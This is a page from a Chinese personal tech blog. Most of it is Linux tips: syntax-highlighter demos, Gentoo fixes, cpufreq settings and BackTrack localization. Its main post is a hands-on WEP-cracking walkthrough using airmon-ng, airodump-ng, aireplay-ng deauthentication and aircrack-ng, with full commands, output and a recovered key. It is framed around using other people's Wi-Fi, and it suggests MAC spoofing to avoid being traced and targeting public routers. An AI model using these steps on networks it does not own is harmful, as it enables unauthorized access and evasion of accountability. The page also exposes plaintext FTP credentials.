iCNPunk

Feed Rss

‘auto-links’ demo

Source

      <pre class="brush: php; auto-links: false">
      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'
      </pre>

Result

      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'

‘class-name’ demo

Source

      	<style>
      	.class_name_demo { border: 2px solid #000; }
      	</style>

      	<pre class="brush: php; class-name: 'class_name_demo'">
      		/** http://alexgorbatchev.com */
      		'http://alexgorbatchev.com'
      	</pre>

Result

      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'

‘collapse’ demo

Source

      	<pre class="brush: plain; collapse: true">
      		hello there!
      		This is collapsed code.
      	</pre>
      

Result

      	Hello there!
      	This is collapsed code.
      

‘first-line’ demo

Source

      <pre class="brush: plain; first-line: 10">
      	this is now tenth line,
      	and this is eleventh!
      </pre>
      

Result

      	this is now tenth line,
      	and this is eleventh!
      

‘gutter’ demo

Source

      <pre class="brush: php; gutter: false;">
      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'
      </pre>
      

Result

      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'
      

‘highlight’ demo

Source

      <pre class="brush: plain; highlight: 2">
      1
      2
      3
      </pre>

      <pre class="brush: plain; highlight: [1, 3]">
      1
      2
      3
      </pre>
      

Result

      1
      2
      3
      
      1 x = y;
      2 mysql_query($query);
      3X++
      

‘html-script’ demo

Source

      <pre class="brush: php; html-script: true">
      	<html>
      	<body>
      		<div style="font-weight: bold"><?= str_replace("\n", "<br/>", $var) ?></div>

      		<?
      		/***********************************
      		 ** Multiline block comments
      		 **********************************/

      		$stringWithUrl = "http://alexgorbatchev.com";
      		$stringWithUrl = 'http://alexgorbatchev.com';

      		ob_start("parseOutputBuffer");		// Start Code Buffering
      		session_start();
      		?>
      	</body>
      	</html>
      </pre>
      

Result

      <html>
      <body>
      	<div style="font-weight: bold"><?= str_replace("\n", "<br/>", $var) ?></div>

      	<?
      	/***********************************
      	 ** Multiline block comments
      	 **********************************/

      	$stringWithUrl = "http://alexgorbatchev.com";
      	$stringWithUrl = 'http://alexgorbatchev.com';

      	ob_start("parseOutputBuffer");		// Start Code Buffering
      	session_start();
      	?>
      </body>
      </html>
      

‘smart-tabs’ demo

Source

      <pre class="brush: plain; smart-tabs: true">
      	hello there!	ya!
      12	hello			ya!
      </pre>

      <pre class="brush: plain; smart-tabs: false">
      	hello there!	ya!
      12	hello			ya!
      </pre>
      

Result

      	hello there!	ya!
      12	hello			ya!
      
      	hello there!	ya!
      12	hello			ya!
      

‘tab-size’ demo

Source

      <pre class="brush: js; tab-size: 4">
      123	123	123
      	1	2	3
      </pre>

      <pre class="brush: js; tab-size: 8">
      123	123	123
      	1	2	3
      </pre>
      

Result

      123	123	123
      	1	2	3
      
      123	123	123
      	1	2	3
      

‘toolbar’ demo

Source

      <pre class="brush: php; toolbar: true;">
      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'
      </pre>

      <pre class="brush: php; toolbar: false;">
      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'
      </pre>
      

Result

      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'
      
      	/** http://alexgorbatchev.com */
      	'http://alexgorbatchev.com'
      

前段时间有同学问我关于蹭网的方法,我没亲身测试不敢说,今天我试验了一下,并且否定了网上某些关于笔记本集成网卡不能破解的说法。我的实验环境:

CPU: Intel(R) Core(TM)2 CPU  T5300
RAM: 2.00GB
NIC: Intel(R) PRO 3945ABG
OS: BackTrack 4 Final

破解过程:

1)制作U盘启动的BT4系统
网上方法很多,我也用的unetbootin制作方法,这里不赘述。

2)启动系统并查看驱动加载情况

root@bt:~#startx
root@bt:~#iwconfig

发现存在wlan0说明系统已经识别并加载了我的网卡

3)开始破解
首先要确定无线网卡没有启动,也就是ifconfig里面看不到wlan0或者其他网卡对应的Interface。
如果无线网卡已经启动则要先关掉它:

root@bt:~#ifconfig wlan0 down

如果害怕被人追查到可以修改mac地址,详情见:macchanger,我这里只是测试就不修改了。
修改你的无线网卡类型为Monitor Interface:
airmon-ng start (interface)

root@bt:~#airmon-ng start wlan0
Interface Chipset Driver

wlan0 Intel 3945ABG iwl3945 – [phy0]
(monitor mode enabled on mon0)

修改以后多了一个mon0的Interface,下面我们都使用mon0进行破解。查看可用的无线网络:
airodump-ng (interface)

root@bt:~#airodump-ng mon0

从里面查看到我的路由器BSSID为00:1B:11:89:D5:BA,频道为8,ESSID为suckme。
airodump-ng -c (channel) -w (file name) –bssid (bssid) (interface)

root@bt:~#airodump-ng -c 8 -w capturefile –bssid 00:1B:11:89:D5:BA mon0
CH 8 ][ Elapsed: 45 mins ][ 2010-02-08 02:40 ][ Broken SKA: 00:1B:11:89:D5:BA

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:11:89:D5:BA -90 100 26479 10078 0 8 54 . WEP WEP SKA suckme

BSSID STATION PWR Rate Lost Packets Probes

00:1B:11:89:D5:BA 00:1B:77:64:DE:A8 0 0 - 1 0 1215078
00:1B:11:89:D5:BA 00:26:08:1A:D2:F5 -57 1 -54 0 17436

从反馈出来的信息可以看到同时有两个连接到我的路由器00:1B:77:64:DE:A8和00:26:08:1A:D2:F5,前者是我的笔记本,后者是我的手机,这里要明白一个道理,这样破解是需要嗅探大量的数据包进行密码猜解,所以需要有别的主机登陆路由器并且进行网络通信。如果截取不到足够的数据包则不能进行密码猜解,这就是为什么很多人无法破解的重要原因。这些数据是我已经破解完成时记录下来的,可以看到#Data已经有10078个,也就是后面所说的IVs,在使用aircrack-ng破解不成功的时候他会提示你next try *****IVs,你只需要继续等待#Data达到足够数量就好。

重新开启一个SHELL测试一下我能否连接路由器:
aireplay-ng -1 0 -a (bssid) -h (your mac) -e (essid) (interface)

root@bt:~#aireplay-ng -0 1 -c 00:25:CF:02:79:93 -h 00:1B:77:64:DE:A8 -e suckme mon0

运行完以后就可以看到上面命令输出的内容里多了红色一行,说明可以连接。
如果你需要查看传送的包是否正确:
aireplay-ng -3 -b (bssid) -h (your mac) (interface)

root@bt:~#aireplay-ng -3 -b 00:1B:11:89:D5:BA -h 00:1B:77:64:DE:A8 mon0

幸运的话过一会刷屏会非常厉害。
然后我们就等待路由器主人上线,我用手机登陆路由器,登陆成功以后就可以看到刚才输出内容红色下面那一条信息,为了获得更多的登陆数据包,我还可以把主人的连接T掉:
aireplay-ng -0 1 –c (client mac) -h (your mac) –e (essid) (interface)

root@bt:~#aireplay-ng -0 1 -c 00:26:08:1A:D2:F5 -h 00:1B:77:64:DE:A8 -e suckme mon0

如果一次T不掉就多运行几次这条指令。
当你觉得airodump-ng窗口里面#Data足够多的时候就可以使用aircrack-ng进行破解了。窗口不用关,嗅探的同时进行破解即可:
aircrack-ng -b (bssid) (file-01.cap)

root@bt:~#aircrack-ng -b 00:1B:11:89:D5:BA capturefile-01.cap
Aircrack-ng 1.0 r1645

[00:00:29] Tested 33147 keys (got 10018 IVs)

KB depth byte(vote)
0 13/ 25 35(12800) AA(12800) 05(12544) 22(12544) 4C(12544)
1 0/ 1 38(16384) 2C(14080) 47(13824) 7C(13824) 0A(13312)
2 1/ 21 37(14592) E6(14336) 5E(14336) 38(14080) 66(14080)
3 6/ 11 09(13568) 78(13056) 98(13056) A7(13056) D6(13056)
4 1/ 6 33(14080) 2D(13312) 71(13312) B3(13312) C4(13312)

KEY FOUND! [ 35:38:37:32:33 ] (ASCII: 58723 )
Decrypted correctly: 100%

用时45分钟破解成功,58723就是我的无线网卡密码了。
至此,我想纠正大家几个误区:
1.待破解的路由器必须有人能够登陆,所以挑选一个公共路由器或者路由器主人使用网络的时间进行破解。
2.Backtrack不是一个工具,他是一个基于Ubuntu Linux强大的安全检测系统,它的作用也不仅仅只是破解WIFI密码,如果你不会使用Linux,你可以选择WIN$破解,Linux有一定的危险性,不推荐小白使用。
3.破解是对网卡有要求,但是好的网卡只是加快了破解的速度,不要太过于依赖网络上炒得很热的“卡皇”一类的网卡,假货很多而且并非最好的,对于WIFI破解的网卡相关信息可以查看http://www.aircrack-ng.org/doku.php?id=compatibility_drivers (需要翻墙)。WEP加密的破解不需要太好的网卡,WPA的破解没有好一点的网卡你会很郁闷的。过一段时间我将测试WPA加密路由器的破解,等测试完我再来发话。
4.对于BT3里面使用的spoonwep破解工具我不推荐使用,它太过于傻瓜化,可调节性不强,不要放弃任何一个学习的机会。

安装:

CP ~ # emerge cpufrequtils

查看可用频率:

CP ~ # cpufreq-info
cpufrequtils 005: cpufreq-info (C) Dominik Brodowski 2004-2006
Report errors and bugs to cpufreq@vger.kernel.org, please.
analyzing CPU 0:
driver: acpi-cpufreq
CPUs which need to switch frequency at the same time: 0
hardware limits: 800 MHz – 1.73 GHz
available frequency steps: 1.73 GHz, 1.33 GHz, 1.07 GHz, 800 MHz
available cpufreq governors: conservative, ondemand, userspace, powersave, performance
current policy: frequency should be within 800 MHz and 1.73 GHz.
The governor “userspace” may decide which speed to use
within this range.
current CPU frequency is 1.33 GHz (asserted by call to hardware).
cpufreq stats: 1.73 GHz:34.09%, 1.33 GHz:37.42%, 1.07 GHz:0.15%, 800 MHz:28.33%  (1727)
analyzing CPU 1:
driver: acpi-cpufreq
CPUs which need to switch frequency at the same time: 1
hardware limits: 800 MHz – 1.73 GHz
available frequency steps: 1.73 GHz, 1.33 GHz, 1.07 GHz, 800 MHz
available cpufreq governors: conservative, ondemand, userspace, powersave, performance
current policy: frequency should be within 800 MHz and 1.73 GHz.
The governor “userspace” may decide which speed to use
within this range.
current CPU frequency is 1.33 GHz (asserted by call to hardware).
cpufreq stats: 1.73 GHz:33.71%, 1.33 GHz:17.04%, 1.07 GHz:0.10%, 800 MHz:49.14%  (1774)

对双核CPU进行频率指派:

CP ~ # cpufreq-set -c 0 -f 1.33ghz ; cpufreq-set -c 0 -f 1.33ghz

(双核的第一个CPU是0,第二个是1)最后用cat /proc/cpuinfo 验证是否修改成功。

find ~/.mozilla -type f -name “*.sqlite” -exec sqlite3 {} VACUUM ;
find ~/.mozilla -type f -name “*.sqlite” -exec sqlite3 {} REINDEX ;

要明白eBuild的原理网上查找一下就好了,这里只讲HOW就不说WHY了。

首先到http://ftp.ubuntu.org.cn/home/hubert_star/fcitx/ (用户名/密码:ubuntu/ubuntuftp)

下载pyPhrase.org.tar.bz2

解压里面的pyPhrase.org到 /usr/portage/app-i18n/fcitx/files

进入fcitx的portage目录里面修改ebuild文件

CP ~ # cd /usr/portage/app-i18n/fcitx/
CP fcitx # vim fcitx-3.6.1.ebuild          (自己修改需要的版本)

在src_compile() { 一行上面添加下面代码:

src_unpack() {
unpack ${A}
cd “${S}”
cp “${FILESDIR}”/pyPhrase.org data/
}

保存退出。

再进行emerge操作之前要解决ebuild校验问题。 了解更多

内核内核还是内核,我就不想用genkernel,我就要最精简的内核,郁闷了两天,光编译内核就编译了10+次,直到我发现了

Pappy’s Seed Kernels

 

终于能完美运行。现在是图形化界面图形化界面,还是图形化界面,我发现了很多有用的网站可是都对我没有什么帮助。我总是没有xorgconfig这个程序。我使劲弄啊,使劲弄,重装了又重装,最后才弄出来。花了几天的时间也没有构建出来一个满意的桌面。真恶心,不弄了,操!

启动Gentoo时出现:

One of the files in /etc/{conf.d,init.d} or /etcrc.conf
has a modification time in the future!

解决方法:

iCNPunk ~# touch /etc/{conf.d,init.d}/*; touch /etc/rc.conf

我看网上很多人都提问关于Backtrack4的汉化问题,Backtrack4是基于Ubuntu操作系统,通过apt安装汉化是很方便的方法,但是会带来很多没用的东西,安装的包也非常多,其实完全可以通过手工来汉化Ubuntu,方法很简单。

首先查看下自己的locale

icnpunk@CP:~$ locale -a

C
en_AU.utf8
en_BW.utf8
en_CA.utf8
en_DK.utf8
en_GB.utf8
en_HK.utf8
en_IE.utf8
en_IN
en_NG
en_NZ.utf8
en_PH.utf8
en_SG.utf8
en_US.utf8
en_ZA.utf8
en_ZW.utf8
POSIX

一般情况下这个都是一样的。接下来只需要随便找到一两个自己喜欢的中文字体,如果要美观的最好选择微软雅黑。同时常用的宋体黑体等等的一起备上,把字体统一复制到/usr/share/fonts/truetype/msfont ,没有msfont文件夹的可以自己建立。 了解更多

首先格式化成Fat32

下载工具 http://unetbootin.sourceforge.net/

选择优盘和镜像执行就好了。

有一次我无意看到有人将Metasploit安装到了Nokia N810上,而iTouch所使用的UNIX操作系统应该也能完成同样的任务,今天经过我的实验,发现完全可以。现将结果发布出来:

实验环境:iPod Touch 2代 3.0操作系统,已越狱。 了解更多